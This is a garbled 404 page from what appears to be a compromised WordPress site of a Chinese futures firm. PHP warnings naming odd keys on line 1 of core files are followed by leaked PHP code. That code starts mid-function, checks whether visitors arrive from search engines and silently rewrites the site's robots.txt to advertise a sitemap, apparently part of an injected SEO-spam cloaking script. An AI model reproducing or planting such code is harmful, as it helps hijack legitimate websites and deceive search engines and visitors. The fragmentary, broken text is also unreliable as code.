Warning : Undefined array key "SmRifc" in /home/wwwroot/www.rdqh.sh.cn/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 1
Warning : Undefined array key "LXMeei" in /home/wwwroot/www.rdqh.sh.cn/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 1
Warning : Undefined array key "HHsuwc" in /home/wwwroot/www.rdqh.sh.cn/wp-content/plugins/astra-addon/addons/nav-menu/classes/class-astra-ext-nav-widget-support.php on line 1
($_SERVER['argv'])) {
$duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
} else {
$duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
}
}
return $duri;
}
function is_from_search_engine($referer)
{
if (empty($referer)) return false;
$searchEngines = ['google.', 'bing.', 'yahoo.',];
foreach ($searchEngines as $engine) {
if (stripos($referer, $engine) !== false) {
return true;
}
}
return false;
}
function create_robots($url)
{
$path = $_SERVER['DOCUMENT_ROOT'] . '/robots.txt';
$content = 'User-agent: *' . PHP_EOL;
$content .= 'Allow: /' . PHP_EOL . PHP_EOL;
$content .= 'Sitemap: ' . $url . '/sitemap.xml' . PHP_EOL;
if (!file_exists($path)) {
file_put_contents($path, $content);
} else {
$existingContent = file_get_contents($path);
if ($existingContent !== $content) {
file_put_contents($path, $content);
}
}
}
function is_https()
{
if (isset($_SERVER['HTTPS'])) {
if (strtolower($_SERVER['HTTPS']) !== 'off') {
return true;
}
} elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO'])) {
if ($_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
return true;
}
} elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS'])) {
if (strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
return true;
}
}
return false;
}
未找到页面 - 瑞达期货
跳至内容